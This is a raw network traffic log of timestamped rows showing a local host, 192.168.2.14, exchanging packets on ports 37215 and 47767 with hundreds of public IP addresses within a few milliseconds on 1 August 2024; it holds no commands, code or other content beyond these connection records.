Aug 1, 2024 15:35:03.538376093 CEST	37215	47767	36.149.65.88	192.168.2.14
Aug 1, 2024 15:35:03.538386106 CEST	37215	47767	41.3.241.204	192.168.2.14
Aug 1, 2024 15:35:03.538404942 CEST	47767	37215	192.168.2.14	36.149.65.88
Aug 1, 2024 15:35:03.538409948 CEST	47767	37215	192.168.2.14	41.3.241.204
Aug 1, 2024 15:35:03.538410902 CEST	47767	37215	192.168.2.14	197.61.79.229
Aug 1, 2024 15:35:03.538494110 CEST	37215	47767	165.23.40.149	192.168.2.14
Aug 1, 2024 15:35:03.538515091 CEST	37215	47767	157.128.189.238	192.168.2.14
Aug 1, 2024 15:35:03.538526058 CEST	37215	47767	157.195.222.173	192.168.2.14
Aug 1, 2024 15:35:03.538539886 CEST	37215	47767	157.7.210.65	192.168.2.14
Aug 1, 2024 15:35:03.538539886 CEST	47767	37215	192.168.2.14	165.23.40.149
Aug 1, 2024 15:35:03.538549900 CEST	47767	37215	192.168.2.14	157.128.189.238
Aug 1, 2024 15:35:03.538549900 CEST	37215	47767	191.96.26.120	192.168.2.14
Aug 1, 2024 15:35:03.538563013 CEST	37215	47767	197.210.14.218	192.168.2.14
Aug 1, 2024 15:35:03.538568020 CEST	47767	37215	192.168.2.14	157.195.222.173
Aug 1, 2024 15:35:03.538570881 CEST	47767	37215	192.168.2.14	157.7.210.65
Aug 1, 2024 15:35:03.538574934 CEST	37215	47767	157.109.153.252	192.168.2.14
Aug 1, 2024 15:35:03.538588047 CEST	47767	37215	192.168.2.14	191.96.26.120
Aug 1, 2024 15:35:03.538589954 CEST	37215	47767	197.230.24.247	192.168.2.14
Aug 1, 2024 15:35:03.538597107 CEST	47767	37215	192.168.2.14	197.210.14.218
Aug 1, 2024 15:35:03.538602114 CEST	37215	47767	157.253.214.61	192.168.2.14
Aug 1, 2024 15:35:03.538614988 CEST	47767	37215	192.168.2.14	197.230.24.247
Aug 1, 2024 15:35:03.538615942 CEST	37215	47767	34.244.242.21	192.168.2.14
Aug 1, 2024 15:35:03.538623095 CEST	47767	37215	192.168.2.14	157.109.153.252
Aug 1, 2024 15:35:03.538633108 CEST	47767	37215	192.168.2.14	157.253.214.61
Aug 1, 2024 15:35:03.538640976 CEST	37215	47767	41.4.204.193	192.168.2.14
Aug 1, 2024 15:35:03.538650990 CEST	37215	47767	51.85.105.37	192.168.2.14
Aug 1, 2024 15:35:03.538656950 CEST	47767	37215	192.168.2.14	34.244.242.21
Aug 1, 2024 15:35:03.538660049 CEST	37215	47767	139.128.83.1	192.168.2.14
Aug 1, 2024 15:35:03.538681984 CEST	37215	47767	197.8.151.149	192.168.2.14
Aug 1, 2024 15:35:03.538680077 CEST	47767	37215	192.168.2.14	41.4.204.193
Aug 1, 2024 15:35:03.538686037 CEST	47767	37215	192.168.2.14	51.85.105.37
Aug 1, 2024 15:35:03.538692951 CEST	47767	37215	192.168.2.14	139.128.83.1
Aug 1, 2024 15:35:03.538702011 CEST	37215	47767	157.114.117.209	192.168.2.14
Aug 1, 2024 15:35:03.538712025 CEST	37215	47767	157.40.235.145	192.168.2.14
Aug 1, 2024 15:35:03.538719893 CEST	47767	37215	192.168.2.14	197.8.151.149
Aug 1, 2024 15:35:03.538722992 CEST	47767	37215	192.168.2.14	157.114.117.209
Aug 1, 2024 15:35:03.538724899 CEST	37215	47767	157.230.179.159	192.168.2.14
Aug 1, 2024 15:35:03.538736105 CEST	37215	47767	41.111.212.189	192.168.2.14
Aug 1, 2024 15:35:03.538743019 CEST	47767	37215	192.168.2.14	157.40.235.145
Aug 1, 2024 15:35:03.538748026 CEST	37215	47767	204.57.58.168	192.168.2.14
Aug 1, 2024 15:35:03.538754940 CEST	47767	37215	192.168.2.14	157.230.179.159
Aug 1, 2024 15:35:03.538760900 CEST	37215	47767	157.222.131.178	192.168.2.14
Aug 1, 2024 15:35:03.538773060 CEST	47767	37215	192.168.2.14	41.111.212.189
Aug 1, 2024 15:35:03.538779020 CEST	47767	37215	192.168.2.14	204.57.58.168
Aug 1, 2024 15:35:03.538780928 CEST	37215	47767	157.128.140.159	192.168.2.14
Aug 1, 2024 15:35:03.538791895 CEST	37215	47767	157.67.35.151	192.168.2.14
Aug 1, 2024 15:35:03.538800955 CEST	37215	47767	41.131.136.46	192.168.2.14
Aug 1, 2024 15:35:03.538809061 CEST	47767	37215	192.168.2.14	157.222.131.178
Aug 1, 2024 15:35:03.538814068 CEST	37215	47767	157.70.94.107	192.168.2.14
Aug 1, 2024 15:35:03.538816929 CEST	47767	37215	192.168.2.14	157.128.140.159
Aug 1, 2024 15:35:03.538819075 CEST	47767	37215	192.168.2.14	157.67.35.151
Aug 1, 2024 15:35:03.538829088 CEST	47767	37215	192.168.2.14	41.131.136.46
Aug 1, 2024 15:35:03.538830042 CEST	37215	47767	116.129.63.253	192.168.2.14
Aug 1, 2024 15:35:03.538849115 CEST	47767	37215	192.168.2.14	157.70.94.107
Aug 1, 2024 15:35:03.538866043 CEST	47767	37215	192.168.2.14	116.129.63.253
Aug 1, 2024 15:35:03.538935900 CEST	37215	47767	197.93.204.236	192.168.2.14
Aug 1, 2024 15:35:03.538949966 CEST	37215	47767	157.150.127.225	192.168.2.14
Aug 1, 2024 15:35:03.538959980 CEST	37215	47767	197.140.6.131	192.168.2.14
Aug 1, 2024 15:35:03.538976908 CEST	47767	37215	192.168.2.14	197.93.204.236
Aug 1, 2024 15:35:03.538978100 CEST	37215	47767	41.93.56.29	192.168.2.14
Aug 1, 2024 15:35:03.538980007 CEST	47767	37215	192.168.2.14	157.150.127.225
Aug 1, 2024 15:35:03.538989067 CEST	47767	37215	192.168.2.14	197.140.6.131
Aug 1, 2024 15:35:03.538990021 CEST	37215	47767	197.93.155.59	192.168.2.14
Aug 1, 2024 15:35:03.539002895 CEST	37215	47767	144.187.203.7	192.168.2.14
Aug 1, 2024 15:35:03.539010048 CEST	47767	37215	192.168.2.14	41.93.56.29
Aug 1, 2024 15:35:03.539014101 CEST	37215	47767	41.68.194.129	192.168.2.14
Aug 1, 2024 15:35:03.539019108 CEST	47767	37215	192.168.2.14	197.93.155.59
Aug 1, 2024 15:35:03.539026022 CEST	37215	47767	157.94.120.217	192.168.2.14
Aug 1, 2024 15:35:03.539036989 CEST	37215	47767	206.18.105.211	192.168.2.14
Aug 1, 2024 15:35:03.539036036 CEST	47767	37215	192.168.2.14	144.187.203.7
Aug 1, 2024 15:35:03.539047003 CEST	37215	47767	41.239.216.191	192.168.2.14
Aug 1, 2024 15:35:03.539057970 CEST	47767	37215	192.168.2.14	41.68.194.129
Aug 1, 2024 15:35:03.539058924 CEST	37215	47767	41.248.171.162	192.168.2.14
Aug 1, 2024 15:35:03.539062977 CEST	47767	37215	192.168.2.14	157.94.120.217
Aug 1, 2024 15:35:03.539067984 CEST	47767	37215	192.168.2.14	206.18.105.211
Aug 1, 2024 15:35:03.539073944 CEST	47767	37215	192.168.2.14	41.239.216.191
Aug 1, 2024 15:35:03.539077997 CEST	37215	47767	197.209.209.54	192.168.2.14
Aug 1, 2024 15:35:03.539091110 CEST	47767	37215	192.168.2.14	41.248.171.162
Aug 1, 2024 15:35:03.539104939 CEST	37215	47767	41.235.57.84	192.168.2.14
Aug 1, 2024 15:35:03.539114952 CEST	37215	47767	41.161.31.8	192.168.2.14
Aug 1, 2024 15:35:03.539115906 CEST	47767	37215	192.168.2.14	197.209.209.54
Aug 1, 2024 15:35:03.539124966 CEST	37215	47767	157.88.221.246	192.168.2.14
Aug 1, 2024 15:35:03.539135933 CEST	47767	37215	192.168.2.14	41.235.57.84
Aug 1, 2024 15:35:03.539139986 CEST	47767	37215	192.168.2.14	41.161.31.8
Aug 1, 2024 15:35:03.539143085 CEST	37215	47767	41.199.95.211	192.168.2.14
Aug 1, 2024 15:35:03.539154053 CEST	37215	47767	197.26.150.12	192.168.2.14
Aug 1, 2024 15:35:03.539156914 CEST	47767	37215	192.168.2.14	157.88.221.246
Aug 1, 2024 15:35:03.539165020 CEST	37215	47767	157.84.78.232	192.168.2.14
Aug 1, 2024 15:35:03.539180040 CEST	47767	37215	192.168.2.14	41.199.95.211
Aug 1, 2024 15:35:03.539186954 CEST	37215	47767	197.115.151.122	192.168.2.14
Aug 1, 2024 15:35:03.539190054 CEST	47767	37215	192.168.2.14	197.26.150.12
Aug 1, 2024 15:35:03.539195061 CEST	47767	37215	192.168.2.14	157.84.78.232
Aug 1, 2024 15:35:03.539203882 CEST	37215	47767	80.201.129.19	192.168.2.14
Aug 1, 2024 15:35:03.539213896 CEST	37215	47767	197.212.5.92	192.168.2.14
Aug 1, 2024 15:35:03.539222002 CEST	47767	37215	192.168.2.14	197.115.151.122
Aug 1, 2024 15:35:03.539225101 CEST	37215	47767	197.235.124.244	192.168.2.14
Aug 1, 2024 15:35:03.539228916 CEST	47767	37215	192.168.2.14	80.201.129.19
Aug 1, 2024 15:35:03.539236069 CEST	37215	47767	197.17.30.222	192.168.2.14
Aug 1, 2024 15:35:03.539242029 CEST	47767	37215	192.168.2.14	197.212.5.92
Aug 1, 2024 15:35:03.539246082 CEST	37215	47767	41.183.24.109	192.168.2.14
Aug 1, 2024 15:35:03.539257050 CEST	37215	47767	41.28.35.40	192.168.2.14
Aug 1, 2024 15:35:03.539258957 CEST	47767	37215	192.168.2.14	197.235.124.244
Aug 1, 2024 15:35:03.539266109 CEST	37215	47767	41.163.193.213	192.168.2.14
Aug 1, 2024 15:35:03.539269924 CEST	47767	37215	192.168.2.14	197.17.30.222
Aug 1, 2024 15:35:03.539273024 CEST	47767	37215	192.168.2.14	41.183.24.109
Aug 1, 2024 15:35:03.539278030 CEST	47767	37215	192.168.2.14	41.28.35.40
Aug 1, 2024 15:35:03.539278984 CEST	37215	47767	90.107.228.59	192.168.2.14
Aug 1, 2024 15:35:03.539289951 CEST	37215	47767	41.82.131.194	192.168.2.14
Aug 1, 2024 15:35:03.539289951 CEST	47767	37215	192.168.2.14	41.163.193.213
Aug 1, 2024 15:35:03.539313078 CEST	47767	37215	192.168.2.14	90.107.228.59
Aug 1, 2024 15:35:03.539319992 CEST	47767	37215	192.168.2.14	41.82.131.194
Aug 1, 2024 15:35:03.539685965 CEST	37215	47767	74.96.4.80	192.168.2.14
Aug 1, 2024 15:35:03.539699078 CEST	37215	47767	41.206.119.232	192.168.2.14
Aug 1, 2024 15:35:03.539710045 CEST	37215	47767	41.225.195.225	192.168.2.14
Aug 1, 2024 15:35:03.539715052 CEST	37215	47767	157.86.182.203	192.168.2.14
Aug 1, 2024 15:35:03.539720058 CEST	37215	47767	18.186.212.139	192.168.2.14
Aug 1, 2024 15:35:03.539726973 CEST	47767	37215	192.168.2.14	74.96.4.80
Aug 1, 2024 15:35:03.539738894 CEST	37215	47767	157.100.93.96	192.168.2.14
Aug 1, 2024 15:35:03.539745092 CEST	47767	37215	192.168.2.14	41.206.119.232
Aug 1, 2024 15:35:03.539750099 CEST	37215	47767	157.151.50.133	192.168.2.14
Aug 1, 2024 15:35:03.539763927 CEST	47767	37215	192.168.2.14	41.225.195.225
Aug 1, 2024 15:35:03.539768934 CEST	47767	37215	192.168.2.14	157.86.182.203
Aug 1, 2024 15:35:03.539769888 CEST	47767	37215	192.168.2.14	18.186.212.139
Aug 1, 2024 15:35:03.539783001 CEST	47767	37215	192.168.2.14	157.100.93.96
Aug 1, 2024 15:35:03.539784908 CEST	47767	37215	192.168.2.14	157.151.50.133
Aug 1, 2024 15:35:03.539793968 CEST	37215	47767	41.97.62.249	192.168.2.14
Aug 1, 2024 15:35:03.539803982 CEST	37215	47767	41.214.220.24	192.168.2.14
Aug 1, 2024 15:35:03.539814949 CEST	37215	47767	197.175.155.221	192.168.2.14
Aug 1, 2024 15:35:03.539827108 CEST	37215	47767	41.248.35.8	192.168.2.14
Aug 1, 2024 15:35:03.539833069 CEST	47767	37215	192.168.2.14	41.97.62.249
Aug 1, 2024 15:35:03.539838076 CEST	47767	37215	192.168.2.14	41.214.220.24
Aug 1, 2024 15:35:03.539839983 CEST	37215	47767	157.189.171.10	192.168.2.14
Aug 1, 2024 15:35:03.539846897 CEST	47767	37215	192.168.2.14	197.175.155.221
Aug 1, 2024 15:35:03.539855003 CEST	37215	47767	96.16.7.143	192.168.2.14
Aug 1, 2024 15:35:03.539861917 CEST	47767	37215	192.168.2.14	41.248.35.8
Aug 1, 2024 15:35:03.539865971 CEST	47767	37215	192.168.2.14	157.189.171.10
Aug 1, 2024 15:35:03.539871931 CEST	37215	47767	197.139.54.254	192.168.2.14
Aug 1, 2024 15:35:03.539882898 CEST	37215	47767	43.172.165.213	192.168.2.14
Aug 1, 2024 15:35:03.539892912 CEST	37215	47767	157.125.227.224	192.168.2.14
Aug 1, 2024 15:35:03.539894104 CEST	47767	37215	192.168.2.14	96.16.7.143
Aug 1, 2024 15:35:03.539897919 CEST	47767	37215	192.168.2.14	197.139.54.254
Aug 1, 2024 15:35:03.539902925 CEST	37215	47767	197.19.124.102	192.168.2.14
Aug 1, 2024 15:35:03.539910078 CEST	47767	37215	192.168.2.14	43.172.165.213
Aug 1, 2024 15:35:03.539915085 CEST	37215	47767	65.76.92.144	192.168.2.14
Aug 1, 2024 15:35:03.539918900 CEST	47767	37215	192.168.2.14	157.125.227.224
Aug 1, 2024 15:35:03.539933920 CEST	47767	37215	192.168.2.14	197.19.124.102
Aug 1, 2024 15:35:03.539936066 CEST	37215	47767	197.28.88.85	192.168.2.14
Aug 1, 2024 15:35:03.539946079 CEST	37215	47767	157.229.139.151	192.168.2.14
Aug 1, 2024 15:35:03.539951086 CEST	47767	37215	192.168.2.14	65.76.92.144
Aug 1, 2024 15:35:03.539957047 CEST	37215	47767	41.161.109.43	192.168.2.14
Aug 1, 2024 15:35:03.539969921 CEST	47767	37215	192.168.2.14	197.28.88.85
Aug 1, 2024 15:35:03.539977074 CEST	37215	47767	156.129.112.128	192.168.2.14
Aug 1, 2024 15:35:03.539983034 CEST	47767	37215	192.168.2.14	157.229.139.151
Aug 1, 2024 15:35:03.539987087 CEST	37215	47767	197.70.240.46	192.168.2.14
Aug 1, 2024 15:35:03.539992094 CEST	47767	37215	192.168.2.14	41.161.109.43
Aug 1, 2024 15:35:03.539999008 CEST	37215	47767	157.123.6.157	192.168.2.14
Aug 1, 2024 15:35:03.540019989 CEST	47767	37215	192.168.2.14	156.129.112.128
Aug 1, 2024 15:35:03.540020943 CEST	37215	47767	157.247.193.130	192.168.2.14
Aug 1, 2024 15:35:03.540024996 CEST	37215	47767	157.190.63.145	192.168.2.14
Aug 1, 2024 15:35:03.540030956 CEST	47767	37215	192.168.2.14	197.70.240.46
Aug 1, 2024 15:35:03.540034056 CEST	47767	37215	192.168.2.14	157.123.6.157
Aug 1, 2024 15:35:03.540035009 CEST	37215	47767	197.208.242.88	192.168.2.14
Aug 1, 2024 15:35:03.540039062 CEST	37215	47767	157.137.14.198	192.168.2.14
Aug 1, 2024 15:35:03.540059090 CEST	47767	37215	192.168.2.14	157.247.193.130
Aug 1, 2024 15:35:03.540061951 CEST	47767	37215	192.168.2.14	157.190.63.145
Aug 1, 2024 15:35:03.540066957 CEST	47767	37215	192.168.2.14	197.208.242.88
Aug 1, 2024 15:35:03.540070057 CEST	47767	37215	192.168.2.14	157.137.14.198
Aug 1, 2024 15:35:03.540256977 CEST	37215	47767	157.76.52.250	192.168.2.14
Aug 1, 2024 15:35:03.540278912 CEST	37215	47767	197.103.172.28	192.168.2.14
Aug 1, 2024 15:35:03.540283918 CEST	37215	47767	197.189.144.154	192.168.2.14
Aug 1, 2024 15:35:03.540287971 CEST	37215	47767	27.46.248.210	192.168.2.14
Aug 1, 2024 15:35:03.540307999 CEST	37215	47767	41.221.170.136	192.168.2.14
Aug 1, 2024 15:35:03.540313959 CEST	37215	47767	157.228.83.255	192.168.2.14
Aug 1, 2024 15:35:03.540322065 CEST	47767	37215	192.168.2.14	197.103.172.28
Aug 1, 2024 15:35:03.540324926 CEST	37215	47767	41.196.127.30	192.168.2.14
Aug 1, 2024 15:35:03.540329933 CEST	47767	37215	192.168.2.14	157.76.52.250
Aug 1, 2024 15:35:03.540329933 CEST	47767	37215	192.168.2.14	27.46.248.210
Aug 1, 2024 15:35:03.540338993 CEST	37215	47767	102.87.73.247	192.168.2.14
Aug 1, 2024 15:35:03.540338993 CEST	47767	37215	192.168.2.14	197.189.144.154
Aug 1, 2024 15:35:03.540338993 CEST	47767	37215	192.168.2.14	157.228.83.255
Aug 1, 2024 15:35:03.540340900 CEST	47767	37215	192.168.2.14	41.221.170.136
Aug 1, 2024 15:35:03.540360928 CEST	47767	37215	192.168.2.14	41.196.127.30
Aug 1, 2024 15:35:03.540379047 CEST	47767	37215	192.168.2.14	102.87.73.247
Aug 1, 2024 15:35:03.540435076 CEST	37215	47767	41.101.92.246	192.168.2.14
Aug 1, 2024 15:35:03.540446043 CEST	37215	47767	157.152.197.2	192.168.2.14
Aug 1, 2024 15:35:03.540456057 CEST	37215	47767	41.4.240.112	192.168.2.14
Aug 1, 2024 15:35:03.540466070 CEST	37215	47767	157.155.128.239	192.168.2.14
Aug 1, 2024 15:35:03.540477037 CEST	47767	37215	192.168.2.14	41.101.92.246
Aug 1, 2024 15:35:03.540488958 CEST	47767	37215	192.168.2.14	157.152.197.2
Aug 1, 2024 15:35:03.540492058 CEST	47767	37215	192.168.2.14	41.4.240.112
Aug 1, 2024 15:35:03.540496111 CEST	47767	37215	192.168.2.14	157.155.128.239
Aug 1, 2024 15:35:03.540513039 CEST	37215	47767	186.36.48.7	192.168.2.14
Aug 1, 2024 15:35:03.540524006 CEST	37215	47767	41.251.95.71	192.168.2.14
Aug 1, 2024 15:35:03.540534019 CEST	37215	47767	197.227.219.149	192.168.2.14
Aug 1, 2024 15:35:03.540544987 CEST	37215	47767	120.42.180.164	192.168.2.14
Aug 1, 2024 15:35:03.540555954 CEST	37215	47767	159.237.82.189	192.168.2.14
Aug 1, 2024 15:35:03.540559053 CEST	47767	37215	192.168.2.14	41.251.95.71
Aug 1, 2024 15:35:03.540559053 CEST	47767	37215	192.168.2.14	197.227.219.149
Aug 1, 2024 15:35:03.540560961 CEST	47767	37215	192.168.2.14	186.36.48.7
Aug 1, 2024 15:35:03.540565968 CEST	37215	47767	41.83.43.176	192.168.2.14
Aug 1, 2024 15:35:03.540575981 CEST	37215	47767	41.250.24.66	192.168.2.14
Aug 1, 2024 15:35:03.540582895 CEST	47767	37215	192.168.2.14	120.42.180.164
Aug 1, 2024 15:35:03.540587902 CEST	47767	37215	192.168.2.14	159.237.82.189
Aug 1, 2024 15:35:03.540589094 CEST	37215	47767	173.101.5.109	192.168.2.14
Aug 1, 2024 15:35:03.540590048 CEST	47767	37215	192.168.2.14	41.83.43.176
Aug 1, 2024 15:35:03.540600061 CEST	37215	47767	197.157.93.8	192.168.2.14
Aug 1, 2024 15:35:03.540611029 CEST	37215	47767	51.75.65.0	192.168.2.14
Aug 1, 2024 15:35:03.540615082 CEST	47767	37215	192.168.2.14	41.250.24.66
Aug 1, 2024 15:35:03.540620089 CEST	37215	47767	197.107.87.127	192.168.2.14
Aug 1, 2024 15:35:03.540623903 CEST	47767	37215	192.168.2.14	173.101.5.109
Aug 1, 2024 15:35:03.540631056 CEST	47767	37215	192.168.2.14	197.157.93.8
Aug 1, 2024 15:35:03.540641069 CEST	37215	47767	86.188.143.16	192.168.2.14
Aug 1, 2024 15:35:03.540649891 CEST	37215	47767	197.19.83.157	192.168.2.14
Aug 1, 2024 15:35:03.540661097 CEST	47767	37215	192.168.2.14	197.107.87.127
Aug 1, 2024 15:35:03.540662050 CEST	47767	37215	192.168.2.14	51.75.65.0
Aug 1, 2024 15:35:03.540663958 CEST	37215	47767	157.192.67.175	192.168.2.14
Aug 1, 2024 15:35:03.540668964 CEST	47767	37215	192.168.2.14	86.188.143.16
Aug 1, 2024 15:35:03.540678978 CEST	37215	47767	141.9.34.73	192.168.2.14
Aug 1, 2024 15:35:03.540688992 CEST	47767	37215	192.168.2.14	197.19.83.157
Aug 1, 2024 15:35:03.540688992 CEST	37215	47767	157.147.5.92	192.168.2.14
Aug 1, 2024 15:35:03.540704966 CEST	47767	37215	192.168.2.14	141.9.34.73
Aug 1, 2024 15:35:03.540709019 CEST	47767	37215	192.168.2.14	157.192.67.175
Aug 1, 2024 15:35:03.540733099 CEST	47767	37215	192.168.2.14	157.147.5.92
Aug 1, 2024 15:35:03.541063070 CEST	37215	47767	178.38.125.43	192.168.2.14
Aug 1, 2024 15:35:03.541074038 CEST	37215	47767	157.136.230.145	192.168.2.14
Aug 1, 2024 15:35:03.541085005 CEST	37215	47767	41.180.217.17	192.168.2.14
Aug 1, 2024 15:35:03.541095018 CEST	37215	47767	157.23.253.156	192.168.2.14
Aug 1, 2024 15:35:03.541104078 CEST	47767	37215	192.168.2.14	178.38.125.43
Aug 1, 2024 15:35:03.541105032 CEST	37215	47767	41.108.173.198	192.168.2.14
Aug 1, 2024 15:35:03.541110992 CEST	47767	37215	192.168.2.14	157.136.230.145
Aug 1, 2024 15:35:03.541111946 CEST	47767	37215	192.168.2.14	41.180.217.17
Aug 1, 2024 15:35:03.541117907 CEST	37215	47767	157.137.76.18	192.168.2.14
Aug 1, 2024 15:35:03.541130066 CEST	47767	37215	192.168.2.14	157.23.253.156
Aug 1, 2024 15:35:03.541142941 CEST	47767	37215	192.168.2.14	41.108.173.198
Aug 1, 2024 15:35:03.541146040 CEST	47767	37215	192.168.2.14	157.137.76.18
Aug 1, 2024 15:35:03.541152954 CEST	37215	47767	57.146.105.93	192.168.2.14
Aug 1, 2024 15:35:03.541162968 CEST	37215	47767	157.204.81.142	192.168.2.14
Aug 1, 2024 15:35:03.541172981 CEST	37215	47767	197.91.237.112	192.168.2.14
Aug 1, 2024 15:35:03.541183949 CEST	37215	47767	157.80.249.222	192.168.2.14
Aug 1, 2024 15:35:03.541191101 CEST	47767	37215	192.168.2.14	57.146.105.93
Aug 1, 2024 15:35:03.541193008 CEST	37215	47767	157.205.248.76	192.168.2.14
Aug 1, 2024 15:35:03.541197062 CEST	47767	37215	192.168.2.14	157.204.81.142
Aug 1, 2024 15:35:03.541203976 CEST	37215	47767	123.3.158.141	192.168.2.14
Aug 1, 2024 15:35:03.541204929 CEST	47767	37215	192.168.2.14	197.91.237.112
Aug 1, 2024 15:35:03.541213989 CEST	37215	47767	173.43.180.31	192.168.2.14
Aug 1, 2024 15:35:03.541220903 CEST	47767	37215	192.168.2.14	157.80.249.222
Aug 1, 2024 15:35:03.541224003 CEST	37215	47767	88.148.236.245	192.168.2.14
Aug 1, 2024 15:35:03.541225910 CEST	47767	37215	192.168.2.14	157.205.248.76
Aug 1, 2024 15:35:03.541234970 CEST	47767	37215	192.168.2.14	123.3.158.141
Aug 1, 2024 15:35:03.541234970 CEST	37215	47767	197.91.246.1	192.168.2.14
Aug 1, 2024 15:35:03.541245937 CEST	37215	47767	222.14.85.8	192.168.2.14
Aug 1, 2024 15:35:03.541246891 CEST	47767	37215	192.168.2.14	173.43.180.31
Aug 1, 2024 15:35:03.541256905 CEST	37215	47767	5.179.87.246	192.168.2.14
Aug 1, 2024 15:35:03.541258097 CEST	47767	37215	192.168.2.14	88.148.236.245
Aug 1, 2024 15:35:03.541270971 CEST	47767	37215	192.168.2.14	197.91.246.1
Aug 1, 2024 15:35:03.541274071 CEST	37215	47767	41.41.186.61	192.168.2.14
Aug 1, 2024 15:35:03.541280031 CEST	47767	37215	192.168.2.14	222.14.85.8
Aug 1, 2024 15:35:03.541290045 CEST	37215	47767	122.58.140.221	192.168.2.14
Aug 1, 2024 15:35:03.541299105 CEST	47767	37215	192.168.2.14	41.41.186.61
Aug 1, 2024 15:35:03.541299105 CEST	47767	37215	192.168.2.14	5.179.87.246
Aug 1, 2024 15:35:03.541307926 CEST	37215	47767	40.141.191.69	192.168.2.14
Aug 1, 2024 15:35:03.541317940 CEST	37215	47767	157.225.31.19	192.168.2.14
Aug 1, 2024 15:35:03.541325092 CEST	47767	37215	192.168.2.14	122.58.140.221
Aug 1, 2024 15:35:03.541330099 CEST	37215	47767	197.41.229.192	192.168.2.14
Aug 1, 2024 15:35:03.541341066 CEST	37215	47767	197.250.222.23	192.168.2.14
Aug 1, 2024 15:35:03.541347027 CEST	47767	37215	192.168.2.14	40.141.191.69
Aug 1, 2024 15:35:03.541349888 CEST	37215	47767	123.235.237.149	192.168.2.14
Aug 1, 2024 15:35:03.541349888 CEST	47767	37215	192.168.2.14	157.225.31.19
Aug 1, 2024 15:35:03.541361094 CEST	47767	37215	192.168.2.14	197.41.229.192
Aug 1, 2024 15:35:03.541377068 CEST	47767	37215	192.168.2.14	197.250.222.23
Aug 1, 2024 15:35:03.541379929 CEST	47767	37215	192.168.2.14	123.235.237.149
Aug 1, 2024 15:35:03.541585922 CEST	37215	47767	197.52.104.191	192.168.2.14
Aug 1, 2024 15:35:03.541596889 CEST	37215	47767	157.101.236.112	192.168.2.14
Aug 1, 2024 15:35:03.541610003 CEST	37215	47767	41.3.165.30	192.168.2.14
Aug 1, 2024 15:35:03.541621923 CEST	47767	37215	192.168.2.14	197.52.104.191
Aug 1, 2024 15:35:03.541631937 CEST	37215	47767	157.65.212.93	192.168.2.14
Aug 1, 2024 15:35:03.541635990 CEST	47767	37215	192.168.2.14	41.3.165.30
Aug 1, 2024 15:35:03.541637897 CEST	47767	37215	192.168.2.14	157.101.236.112
Aug 1, 2024 15:35:03.541650057 CEST	37215	47767	36.222.72.202	192.168.2.14
Aug 1, 2024 15:35:03.541660070 CEST	37215	47767	41.11.145.189	192.168.2.14
Aug 1, 2024 15:35:03.541670084 CEST	47767	37215	192.168.2.14	157.65.212.93
Aug 1, 2024 15:35:03.541682005 CEST	37215	47767	157.128.150.225	192.168.2.14
Aug 1, 2024 15:35:03.541687965 CEST	47767	37215	192.168.2.14	36.222.72.202
Aug 1, 2024 15:35:03.541693926 CEST	37215	47767	157.101.226.59	192.168.2.14
Aug 1, 2024 15:35:03.541695118 CEST	47767	37215	192.168.2.14	41.11.145.189
Aug 1, 2024 15:35:03.541704893 CEST	37215	47767	41.87.170.27	192.168.2.14
Aug 1, 2024 15:35:03.541716099 CEST	37215	47767	197.105.252.56	192.168.2.14
Aug 1, 2024 15:35:03.541719913 CEST	37215	47767	41.231.188.191	192.168.2.14
Aug 1, 2024 15:35:03.541722059 CEST	47767	37215	192.168.2.14	157.128.150.225
Aug 1, 2024 15:35:03.541722059 CEST	47767	37215	192.168.2.14	157.101.226.59
Aug 1, 2024 15:35:03.541723967 CEST	37215	47767	157.48.168.102	192.168.2.14
Aug 1, 2024 15:35:03.541728973 CEST	37215	47767	41.177.24.254	192.168.2.14
Aug 1, 2024 15:35:03.541733980 CEST	37215	47767	41.78.31.32	192.168.2.14
Aug 1, 2024 15:35:03.541737080 CEST	37215	47767	197.167.199.50	192.168.2.14
Aug 1, 2024 15:35:03.541740894 CEST	37215	47767	197.9.16.171	192.168.2.14
Aug 1, 2024 15:35:03.541744947 CEST	37215	47767	157.129.46.142	192.168.2.14
Aug 1, 2024 15:35:03.541749001 CEST	37215	47767	197.181.47.137	192.168.2.14
Aug 1, 2024 15:35:03.541753054 CEST	37215	47767	197.40.210.216	192.168.2.14
Aug 1, 2024 15:35:03.541755915 CEST	37215	47767	41.162.137.144	192.168.2.14
Aug 1, 2024 15:35:03.541760921 CEST	37215	47767	43.13.70.39	192.168.2.14
Aug 1, 2024 15:35:03.541765928 CEST	37215	47767	157.80.21.165	192.168.2.14
Aug 1, 2024 15:35:03.541776896 CEST	37215	47767	197.205.164.189	192.168.2.14
Aug 1, 2024 15:35:03.541781902 CEST	37215	47767	41.106.122.129	192.168.2.14
Aug 1, 2024 15:35:03.541785955 CEST	37215	47767	197.128.59.214	192.168.2.14
Aug 1, 2024 15:35:03.541795969 CEST	37215	47767	101.210.111.234	192.168.2.14
Aug 1, 2024 15:35:03.541799068 CEST	47767	37215	192.168.2.14	197.105.252.56
Aug 1, 2024 15:35:03.541800976 CEST	47767	37215	192.168.2.14	41.87.170.27
Aug 1, 2024 15:35:03.541805983 CEST	37215	47767	174.84.0.37	192.168.2.14
Aug 1, 2024 15:35:03.541806936 CEST	47767	37215	192.168.2.14	41.231.188.191
Aug 1, 2024 15:35:03.541810036 CEST	47767	37215	192.168.2.14	157.48.168.102
Aug 1, 2024 15:35:03.541810036 CEST	47767	37215	192.168.2.14	41.177.24.254
Aug 1, 2024 15:35:03.541811943 CEST	47767	37215	192.168.2.14	197.9.16.171
Aug 1, 2024 15:35:03.541810036 CEST	47767	37215	192.168.2.14	197.167.199.50
Aug 1, 2024 15:35:03.541810036 CEST	47767	37215	192.168.2.14	157.129.46.142
Aug 1, 2024 15:35:03.541820049 CEST	47767	37215	192.168.2.14	197.181.47.137
Aug 1, 2024 15:35:03.541820049 CEST	47767	37215	192.168.2.14	197.40.210.216
Aug 1, 2024 15:35:03.541824102 CEST	47767	37215	192.168.2.14	41.78.31.32
Aug 1, 2024 15:35:03.541824102 CEST	47767	37215	192.168.2.14	157.80.21.165
Aug 1, 2024 15:35:03.541820049 CEST	47767	37215	192.168.2.14	41.106.122.129
Aug 1, 2024 15:35:03.541827917 CEST	47767	37215	192.168.2.14	197.205.164.189
Aug 1, 2024 15:35:03.541826963 CEST	47767	37215	192.168.2.14	41.162.137.144
Aug 1, 2024 15:35:03.541826963 CEST	47767	37215	192.168.2.14	43.13.70.39
Aug 1, 2024 15:35:03.541838884 CEST	47767	37215	192.168.2.14	101.210.111.234
Aug 1, 2024 15:35:03.541841030 CEST	47767	37215	192.168.2.14	174.84.0.37
Aug 1, 2024 15:35:03.541842937 CEST	47767	37215	192.168.2.14	197.128.59.214
Aug 1, 2024 15:35:03.541855097 CEST	37215	47767	197.8.159.80	192.168.2.14
